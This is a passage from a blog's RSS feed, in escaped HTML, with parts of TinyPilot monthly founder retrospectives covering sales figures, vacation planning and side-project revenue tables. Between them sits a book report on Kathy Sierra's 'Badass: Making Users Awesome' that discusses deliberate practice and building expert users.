 srcset='https://mtlynch.io/retrospectives/2021/11/sales-trends_hu_b53af025b4865c54.png 300w, https://mtlynch.io/retrospectives/2021/11/sales-trends_hu_5c7cb833a8b8736.png 600w, https://mtlynch.io/retrospectives/2021/11/sales-trends_hu_7d52795130854255.png 800w, https://mtlynch.io/retrospectives/2021/11/sales-trends.png 903w'
 src="https://mtlynch.io/retrospectives/2021/11/sales-trends.png" alt="Screenshot of TinyPilot website, offering only one product" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Total TinyPilot sales for the last 90 days&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The Voyager 2 is on track to ship in a month or two. My original plan was to sell Voyagers models 1 and 2 side-by-side and experiment with their respective pricing. Seeing how much easier it is to sell a single product, I&amp;rsquo;m probably going to phase out Voyager 1 soon after I start shipping its successor.&lt;/p>
&lt;h2 id="taking-a-test-vacation">Taking a test vacation&lt;/h2>
&lt;p>One of my goals for this year is to &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/#automate-tinypilot-management">systematize enough of TinyPilot&amp;rsquo;s business operations that I can take a two-week vacation&lt;/a>. I haven&amp;rsquo;t tested that much because it&amp;rsquo;s not so appealing to travel during a global pandemic. Now that vaccines have rolled out, I&amp;rsquo;ve taken a few trips.&lt;/p>
&lt;p>In August, I took a three-day weekend to attend a friend&amp;rsquo;s wedding. That went smoothly, but I was essentially just taking a Friday off work, so there&amp;rsquo;s very little that could have gone wrong.&lt;/p>
&lt;p>This past month, I pushed my vacation a bit more. I took a five-day trip: three weekdays + a weekend. I managed to stay off of my work email for the most part, though I did scan it a few times to see if there was anything urgent. When I returned, TinyPilot&amp;rsquo;s local staff had been fulfilling orders and managing inventory without any issues, but I still had 122 new emails in my work inbox. I spent three full days doing almost nothing but catching up on email, which is not so fun.&lt;/p>
&lt;p>I don&amp;rsquo;t have a great plan for how to solve this. The fundamental problem is that TinyPilot as a business has so many moving parts. There&amp;rsquo;s me, two local staff, three developers, a European distributor, a 3D-printing lab, and an electrical engineering vendor. I communicate with all of them on a weekly basis, so that&amp;rsquo;s just a lot of coordination.&lt;/p>
&lt;p>I prioritize systematizing and documenting as much as possible, but there are always exceptional cases that require my attention. On top of that, there are sales inquiries and customer support requests, though the local staff is now helping to absorb some of those.&lt;/p>
&lt;p>I listened to an interview with WPEngine founder Jason Cohen earlier this year where he said that part of being a successful leader is &lt;a href="https://twitter.com/deliberatecoder/status/1424894197702799362">helping the people around you grow and take on more responsibility&lt;/a>. That&amp;rsquo;s something I took to heart, and it&amp;rsquo;s my best hope of growing the business to the point where it can run without me for a few weeks. Allowing developers to &lt;a href="https://mtlynch.io/retrospectives/2021/08/#allow-developers-to-review-each-others-pull-requests">review each other&amp;rsquo;s code&lt;/a> has helped the dev team grow and achieve more autonomy. I expect to see a similar effect from integrating TinyPilot&amp;rsquo;s local staff into the customer support process.&lt;/p>
&lt;p>Lastly, I hope that exceptional problems become less exceptional over time. A situation typically requires my intervention because we don&amp;rsquo;t have a defined process for handling it. And we usually don&amp;rsquo;t have a process because it&amp;rsquo;s never happened before. TinyPilot is still a relatively young company, so there are still lots of things we&amp;rsquo;ve never seen before. The dev team only formed &lt;a href="https://mtlynch.io/retrospectives/2021/03/#what-got-done">eight months ago&lt;/a>, we&amp;rsquo;ve only &lt;a href="https://mtlynch.io/retrospectives/2021/05/#tinypilots-new-office-the-fun-stuff">had an office&lt;/a> for six months, and we added our first distributor only &lt;a href="https://mtlynch.io/retrospectives/2021/09/#adding-a-european-distributor">two months ago&lt;/a>. I&amp;rsquo;m hoping the proportion of new, surprising things goes down over time so that we have a written, consistent process for handling most situations.&lt;/p>
&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>September 2021&lt;/th>
 &lt;th>October 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>23,618&lt;/td>
 &lt;td>20,321&lt;/td>
 &lt;td>&lt;font color="red">-3,297 (-14%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>56,246&lt;/td>
 &lt;td>47,487&lt;/td>
 &lt;td>&lt;font color="red">-8,759 (-16%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>11.0&lt;/td>
 &lt;td>11.0&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Revenue&lt;/td>
 &lt;td>$264.63&lt;/td>
 &lt;td>$230.64&lt;/td>
 &lt;td>&lt;font color="red">-$33.99 (-13%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Revenue&lt;/td>
 &lt;td>$77.42&lt;/td>
 &lt;td>$27.76&lt;/td>
 &lt;td>&lt;font color="red">-$49.66 (-64%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$342.05&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$258.40&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$83.65 (-24%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Is It Keto continues its slow decline, as competing sites outperform it in search results. It&amp;rsquo;s a shame, but it&amp;rsquo;s not worth it for me to shift focus from TinyPilot.&lt;/p>
&lt;h3 id="hit-the-front-page-of-hacker-news">&lt;a href="https://hitthefrontpage.com/">Hit the Front Page of Hacker News&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="htfp-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>September 2021&lt;/th>
 &lt;th>October 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>128&lt;/td>
 &lt;td>100&lt;/td>
 &lt;td>&lt;font color="red">-28 (-22%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Gumroad Revenue&lt;/td>
 &lt;td>$189.14&lt;/td>
 &lt;td>$75.27&lt;/td>
 &lt;td>&lt;font color="red">-$113.87 (-60%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Blogging for Devs Revenue&lt;/td>
 &lt;td>$27.30&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>&lt;font color="red">-$27.30 (-100%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$216.44&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$75.27&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$141.17 (-65%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>I haven&amp;rsquo;t done anything to promote my blogging course, but a couple of people purchased it last month. At the last indie founder meetup I co-hosted, one of the attendees had watched my course, so it was cool to meet a student in real life for the first time.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>September 2021&lt;/th>
 &lt;th>October 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>596&lt;/td>
 &lt;td>613&lt;/td>
 &lt;td>&lt;font color="green">+17 (+3%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>1,512&lt;/td>
 &lt;td>1,426&lt;/td>
 &lt;td>&lt;font color="red">-86 (-6%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Revenue&lt;/td>
 &lt;td>$185.12&lt;/td>
 &lt;td>$99.74&lt;/td>
 &lt;td>&lt;font color="red">-$85.38 (-46%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$185.12&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$99.74&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$85.38 (-46%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Zestful keeps doing its thing in the background. It&amp;rsquo;s had a good run these past few months with $100-600/month in revenue. I suspect that the sales are coming from users who are doing bulk parsing rather than clients with recurring needs, but it&amp;rsquo;s been a nice bump in revenue.&lt;/p>
&lt;p>The person who &lt;a href="https://mtlynch.io/retrospectives/2021/09/#zestful">expressed interest in acquiring Zestful&lt;/a> stopped following up and hasn&amp;rsquo;t replied to my emails, so I think that deal is dead.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Integrated local staff into the customer support workflows.&lt;/li>
&lt;li>Paused development on TinyPilot Cloud.&lt;/li>
&lt;li>Retired the TinyPilot Hobbyist Kit and focused the site around the Voyager.&lt;/li>
&lt;li>Published &lt;a href="https://www.youtube.com/watch?v=RKpaccCmxwQ">episode 1 of &amp;ldquo;Deliberate Programming.&amp;rdquo;&lt;/a>
&lt;ul>
&lt;li>I started a project about looking for ways of applying &lt;a href="https://mtlynch.io/book-reports/badass/#building-expertise">deliberate practice&lt;/a> to software development.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Validate your product early.
&lt;ul>
&lt;li>Wanting a feature or product is different than being willing to pay for it.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>If I want to be able to take vacations, I have to help my teammates grow.
&lt;ul>
&lt;li>The more responsibility that my teammates take on, the less reliant the business is on me personally for day-to-day operations.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Complete TinyPilot’s website rebrand.&lt;/li>
&lt;li>Prepare for Voyager 2 launch as soon as the hardware is ready.&lt;/li>
&lt;li>Hire a marketing firm or freelancer to help TinyPilot explore paid marketing channels.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Badass: Making Users Awesome by Kathy Sierra</title><link>https://mtlynch.io/book-reports/badass/</link><pubDate>Sun, 10 Oct 2021 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/badass/</guid><description>&lt;p>Overall, this was an interesting read, but I found it hard to apply the lessons to my product. The book contains compelling case studies and ideas from the field of meta-learning, but most of the ideas were either too theoretical or too specific to large companies.&lt;/p></description><content:encoded>&lt;p>Overall, this was an interesting read, but I found it hard to apply the lessons to my product. The book contains compelling case studies and ideas from the field of meta-learning, but most of the ideas were either too theoretical or too specific to large companies.&lt;/p>
&lt;p>I couldn&amp;rsquo;t get over the feeling that Kathy Sierra just wanted to write about meta-learning, but she had to shoehorn it into a book about product design to fit her brand. The material was interesting, but it wasn&amp;rsquo;t what I wanted from a book that was ostensibly about user experience design.&lt;/p>
&lt;p>Sierra argues that most companies market their products well but treat everything after the sale as an afterthought. Her central thesis is that successful products create expert users. To create an expert user, the product team has to design a path that helps the customer gain mastery in a domain related to the product.&lt;/p>
&lt;p>I found the thesis compelling, but it was hard to translate the ideas into my products. To follow Sierra&amp;rsquo;s advice, you&amp;rsquo;d need an entire team dedicated to creating high-quality educational content. Perhaps the book is just not a good match for indie developers like me.&lt;/p>
&lt;p>The book&amp;rsquo;s biggest weakness was relying too heavily on theory. Sierra has plenty of examples of companies she thinks &lt;em>should&lt;/em> follow her advice but none that actually do. Instead, she points to lab studies that support her theory, but she hand-waves away the real-world challenges of putting these ideas into practice.&lt;/p>
&lt;hr>
&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>It discusses meta-learning and deliberate practice in an accessible, engaging way.&lt;/li>
&lt;li>Sierra makes complex ideas feel light and easy to read.&lt;/li>
&lt;li>It includes interesting scientific studies, similar &lt;a href="https://mtlynch.io/book-reports/outliers/">Malcolm Gladwell&amp;rsquo;s books&lt;/a>.&lt;/li>
&lt;li>It&amp;rsquo;s laugh-out-loud funny.
&lt;ul>
&lt;li>Creative use of stock photos.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>The strategies seem optimized for products with extremely large teams.
&lt;ul>
&lt;li>Sierra suggests reading third-party discussion forums about your product, which suggests a high level of scale already.&lt;/li>
&lt;li>Most of the examples are about Olympus cameras and Microsoft Office products.&lt;/li>
&lt;li>Would have benefited from other examples.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Many of the ideas were too abstract.
&lt;ul>
&lt;li>I kept wishing for more real-life examples.&lt;/li>
&lt;li>It was hard to connect the lessons to my product.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Does not make a convincing case that this is practical.
&lt;ul>
&lt;li>Almost all of the discussion is theoretical or based on lab studies.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>It gets too into the weeds on the subject of meta-learning.&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;h3 id="the-brand-engagement-arms-race">The brand engagement arms race&lt;/h3>
&lt;ul>
&lt;li>Out-engaging competing brands is unsustainable.&lt;/li>
&lt;li>Users don&amp;rsquo;t fall in love with a product by engaging with it on social media.&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>On their deathbed, nobody will say, &amp;ldquo;If only I&amp;rsquo;d engaged with more brands.&amp;rdquo;&lt;/p>&lt;/blockquote>
&lt;ul>
&lt;li>Best-selling products maintain their position through social recommendations.
&lt;ul>
&lt;li>When someone loves a product, they tell people.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When people talk about a product&amp;rsquo;s funny viral video, they&amp;rsquo;re discussing the product&amp;rsquo;s &lt;em>marketing&lt;/em>, which isn&amp;rsquo;t the goal.&lt;/li>
&lt;/ul>
&lt;h3 id="goal-of-user-experience">Goal of user experience&lt;/h3>
&lt;p>Which of the following do you want the user to feel after using your product if you can pick only one?&lt;/p>
&lt;ul>
&lt;li>A. &amp;ldquo;This &lt;strong>product&lt;/strong> is awesome.&amp;rdquo;&lt;/li>
&lt;li>B. &amp;ldquo;This &lt;strong>company&lt;/strong> is awesome.&amp;rdquo;&lt;/li>
&lt;li>C. &amp;ldquo;This &lt;strong>brand&lt;/strong> is awesome.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;p>Answer: Secret option D — &amp;ldquo;&lt;strong>I&amp;rsquo;m&lt;/strong> awesome.&amp;rdquo;&lt;/p>
&lt;p>&lt;strong>Takeaway&lt;/strong>: People will love a product if it helps them achieve something important to them.&lt;/p>
&lt;h3 id="what-makes-badass-users">What makes badass users?&lt;/h3>
&lt;ul>
&lt;li>We make our users badass when our product helps them achieve badass results.
&lt;ul>
&lt;li>e.g., an effective presentation, a beautiful photograph&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>To identify badass results for a product, think about the context in which customers use it.
&lt;ul>
&lt;li>e.g., nobody wants to be the best at tripods, but people use tripods in pursuit of excellent photographs.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Companies often market their product in terms of the greater context but stop thinking that way after the purchase.
&lt;ul>
&lt;li>After the customer buys the product, all the company&amp;rsquo;s messaging around the product treats it as a simple tool instead of helping the customer use it to achieve the greater context.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/book-reports/badass/before-vs-after.png">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/book-reports/badass/before-vs-after_hu_16d4f3526b4e82c2.png 300w, https://mtlynch.io/book-reports/badass/before-vs-after_hu_e6472f7f146d8829.png 600w, https://mtlynch.io/book-reports/badass/before-vs-after_hu_c193a0e381d314a3.png 800w, https://mtlynch.io/book-reports/badass/before-vs-after.png 800w'
 src="https://mtlynch.io/book-reports/badass/before-vs-after.png" alt="Diagram showing exciting marketing brochures for a camera juxtaposed with a plain, boring instruction manual for the same camera" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="the-value-of-expert-users">The value of expert users&lt;/h3>
&lt;ul>
&lt;li>The more expertise someone has in a field, the more they appreciate fine details.
&lt;ul>
&lt;li>e.g., audiophiles pay for expensive headphones because they hear a richer sound with them.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>We want to make our users experts so that they have a richer experience and value the fine details of our product.&lt;/li>
&lt;li>Expert users are more likely to evangelize the tools they use and share their results.&lt;/li>
&lt;/ul>
&lt;h3 id="auto-mode-vs-manual-mode">Auto mode vs. manual mode&lt;/h3>
&lt;ul>
&lt;li>If you sell a camera, an &amp;ldquo;auto&amp;rdquo; mode helps users get started, but they should eventually grow past it and master the camera&amp;rsquo;s manual controls.&lt;/li>
&lt;li>If your tool doesn&amp;rsquo;t have more advanced controls, figure out how to help users produce better results with your tool.
&lt;ul>
&lt;li>e.g., if you sell a point-and-shoot camera, you can still help users with lighting and digital editing.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="building-expertise">Building expertise&lt;/h3>
&lt;ul>
&lt;li>When building expertise in any domain, you can think of your skills in that domain as being in one of three possible states:&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/book-reports/badass/mastery-boards.png">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/book-reports/badass/mastery-boards_hu_232f1fea584db6ab.png 300w, https://mtlynch.io/book-reports/badass/mastery-boards_hu_bf89a76d5c780a37.png 600w, https://mtlynch.io/book-reports/badass/mastery-boards.png 768w'
 src="https://mtlynch.io/book-reports/badass/mastery-boards.png" alt="a) Can&amp;#39;t do b) Can do with effort c) Mastered (reliable, automatic)" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;ul>
&lt;li>It&amp;rsquo;s not as simple as moving each skill from A -&amp;gt; B -&amp;gt; C.&lt;/li>
&lt;li>Experts move skills from C back to B in order to keep growing and refine their skills.&lt;/li>
&lt;li>Experts continuously find new skills to add to the &amp;ldquo;can&amp;rsquo;t do&amp;rdquo; bucket so that they&amp;rsquo;re constantly improving.&lt;/li>
&lt;li>&amp;ldquo;Use it or lose it&amp;rdquo; is misleading.
&lt;ul>
&lt;li>Skills deteriorate if you&amp;rsquo;re not consciously refining them, even if you&amp;rsquo;re still using those skills.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="deliberate-practice">Deliberate practice&lt;/h3>
&lt;ul>
&lt;li>Deliberate practice separates experts from non-experts.&lt;/li>
&lt;li>A key element of deliberate practice is keeping the &amp;ldquo;can do with effort&amp;rdquo; bucket small.
&lt;ul>
&lt;li>Practicing too many skills at once is inefficient and usually counterproductive.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="half-a-skill-beats-a-half-assed-skill">Half a skill beats a half-assed skill&lt;/h3>
&lt;ul>
&lt;li>It&amp;rsquo;s better to have more, tinier skills in the unconscious / mastered board than a bunch of big, clumsy skills in the conscious board.
&lt;ul>
&lt;li>Exception: It&amp;rsquo;s okay to let a user rely on a half-assed skill to get them to the point of basic comfort with your product.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="designing-for-deliberate-practice">Designing for deliberate practice&lt;/h3>
&lt;ul>
&lt;li>Pick a subskill you can&amp;rsquo;t do reliably but could get to 95% reliability in three sessions of 45-90 minutes.&lt;/li>
&lt;li>Examples
&lt;ul>
&lt;li>Play a section of music at half-speed without errors&lt;/li>
&lt;li>Shoot a basketball 8-12 ft. from the hoop.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>If you can&amp;rsquo;t get to 95% reliability in 3 sessions, split the task into smaller subtasks or reduce the success criteria.&lt;/li>
&lt;li>Not all practice is deliberate practice.
&lt;ul>
&lt;li>Watching a lecture is not deliberate practice.&lt;/li>
&lt;li>Following a tutorial is not deliberate practice.&lt;/li>
&lt;li>Practicing a skill you&amp;rsquo;ve already mastered is not deliberate practice.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="why-isnt-deliberate-practice-more-common">Why isn&amp;rsquo;t deliberate practice more common?&lt;/h3>
&lt;ul>
&lt;li>By definition, deliberate practice is outside of your comfort zone.&lt;/li>
&lt;li>It&amp;rsquo;s more appealing to do things we already know in the hopes of getting incrementally better.&lt;/li>
&lt;/ul>
&lt;h3 id="masters-have-better-exposure">Masters have better exposure&lt;/h3>
&lt;ul>
&lt;li>Experts generally have exposure to other experts that help them learn.&lt;/li>
&lt;/ul>
&lt;h3 id="training-chicken-sexers">Training chicken sexers&lt;/h3>
&lt;ul>
&lt;li>Large commercial chicken forms need to determine a chicken&amp;rsquo;s sex as early as possible.&lt;/li>
&lt;li>&amp;ldquo;Chicken sexing&amp;rdquo; is the practice of identifying a chicken&amp;rsquo;s biological sex at a glance.&lt;/li>
&lt;li>In the 1900s, Japan trained expert chicken sexers.
&lt;ul>
&lt;li>These chicken sexers could identify the chickens&amp;rsquo; gender with near-perfect accuracy, but they have no conscious awareness of their reasoning.&lt;/li>
&lt;li>To train new chicken sexers, a trainee stands next to an expert, examines a chick, makes a guess, and then the expert tells them whether or not their guess was correct. Eventually, the trainee develops an accurate intuition for chicken sexing.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="perceptual-exposure">Perceptual exposure&lt;/h3>
&lt;ul>
&lt;li>Experts learn through repeated perceptual exposure.&lt;/li>
&lt;li>Effective training involves showing a student a large number of examples that have persistent patterns but feel varied to the learner.
&lt;ul>
&lt;li>The learner must receive frequent feedback about their accuracy in evaluating the examples.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The brain learns better if it can &amp;ldquo;discover&amp;rdquo; a concept rather than just hear someone explain it.
&lt;ul>
&lt;li>There are subtleties to skills that you don&amp;rsquo;t learn if someone explains the concept.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="how-to-create-an-effective-perceptual-experience">How to create an effective perceptual experience&lt;/h3>
&lt;ul>
&lt;li>Show the learner a high volume of positive examples in a compressed amount of time.&lt;/li>
&lt;li>Limit negative examples in the lessons.
&lt;ul>
&lt;li>The brain tends to mimic patterns it sees, even if it consciously knows they&amp;rsquo;re negative examples.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When showing bad examples, make the negative examples &amp;ldquo;feel&amp;rdquo; bad (e.g., big X&amp;rsquo;s, scary red font).&lt;/li>
&lt;/ul>
&lt;h3 id="be-honest-about-struggle">Be honest about struggle&lt;/h3>
&lt;ul>
&lt;li>Users start out excited to learn expertise in a tool, but then they get discouraged and stop.&lt;/li>
&lt;li>It&amp;rsquo;s a mistake to encourage them by emphasizing the goal more.
&lt;ul>
&lt;li>The user is already motivated to reach the goal.&lt;/li>
&lt;li>They stop because reaching the goal is hard, not because they&amp;rsquo;ve lost interest in it.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Be honest about which parts of the learning curve are difficult.
&lt;ul>
&lt;li>e.g., the first day someone learns to snowboard, they dislike it. Then, it starts to become fun. They need to know the unpleasant part is normal and expected.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="freedom-to-experiment">Freedom to experiment&lt;/h3>
&lt;ul>
&lt;li>Users are reluctant to experiment with your product if they&amp;rsquo;re afraid of breaking it.&lt;/li>
&lt;li>Give users an easy way to reset to stock settings so they feel free to explore curiously.&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 15</title><link>https://mtlynch.io/retrospectives/2021/10/</link><pubDate>Thu, 07 Oct 2021 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2021/10/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot had its highest-revenue month ever.&lt;/li>
&lt;li>One of TinyPilot&amp;rsquo;s competitors raised $800k almost overnight.&lt;/li>
&lt;li>I&amp;rsquo;m working with a design firm to improve TinyPilot&amp;rsquo;s brand and website.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-a-sample-chapter-of-refactoring-english">Publish a sample chapter of &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English&lt;/em>&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Made progress but didn&amp;rsquo;t publish a chapter&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>TinyPilot got busy enough again that I didn&amp;rsquo;t have much time to write this month. Sadly, I&amp;rsquo;m going to put the book on hold indefinitely since TinyPilot still needs my full attention.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot had its highest-revenue month ever.&lt;/li>
&lt;li>One of TinyPilot&amp;rsquo;s competitors raised $800k almost overnight.&lt;/li>
&lt;li>I&amp;rsquo;m working with a design firm to improve TinyPilot&amp;rsquo;s brand and website.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-a-sample-chapter-of-refactoring-english">Publish a sample chapter of &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English&lt;/em>&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Made progress but didn&amp;rsquo;t publish a chapter&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>TinyPilot got busy enough again that I didn&amp;rsquo;t have much time to write this month. Sadly, I&amp;rsquo;m going to put the book on hold indefinitely since TinyPilot still needs my full attention.&lt;/p>
&lt;h3 id="start-development-on-a-monthly-service-based-software-complement-to-tinypilot">Start development on a monthly service-based software complement to TinyPilot&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We&amp;rsquo;re still at the design stage, but for good reasons&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B-&lt;/li>
&lt;/ul>
&lt;p>I was hoping to start development by the end of the month, but there are more design questions than I anticipated. Still, I don&amp;rsquo;t feel bad about the delay because investing more in up-front design will save us time on the implementation. This project involves important architectural decisions that will be difficult to change later, so it&amp;rsquo;s worth investing time into getting them right initially.&lt;/p>
&lt;h3 id="finalize-the-design-of-the-voyager-2">Finalize the design of the Voyager 2&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We finished all testing on the Voyager 2&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>We&amp;rsquo;re running a little late on this, but we&amp;rsquo;re still on track to ship the first Voyager 2 by the end of November. The electrical engineers have built several prototypes, and they&amp;rsquo;ve passed all tests. We&amp;rsquo;re now in the process of ordering the first production batch from a PCB manufacturer.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>August 2021&lt;/th>
 &lt;th>September 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>4,194&lt;/td>
 &lt;td>9,960&lt;/td>
 &lt;td>&lt;font color="green">+5,766 (+137%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>8,864&lt;/td>
 &lt;td>15,744&lt;/td>
 &lt;td>&lt;font color="green">+6,880 (+78%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$30,191.04&lt;/td>
 &lt;td>$42,234.17&lt;/td>
 &lt;td>&lt;font color="green">+$12,043.13 (+40%)&lt;/font>&lt;/td>
 &lt;/tr>
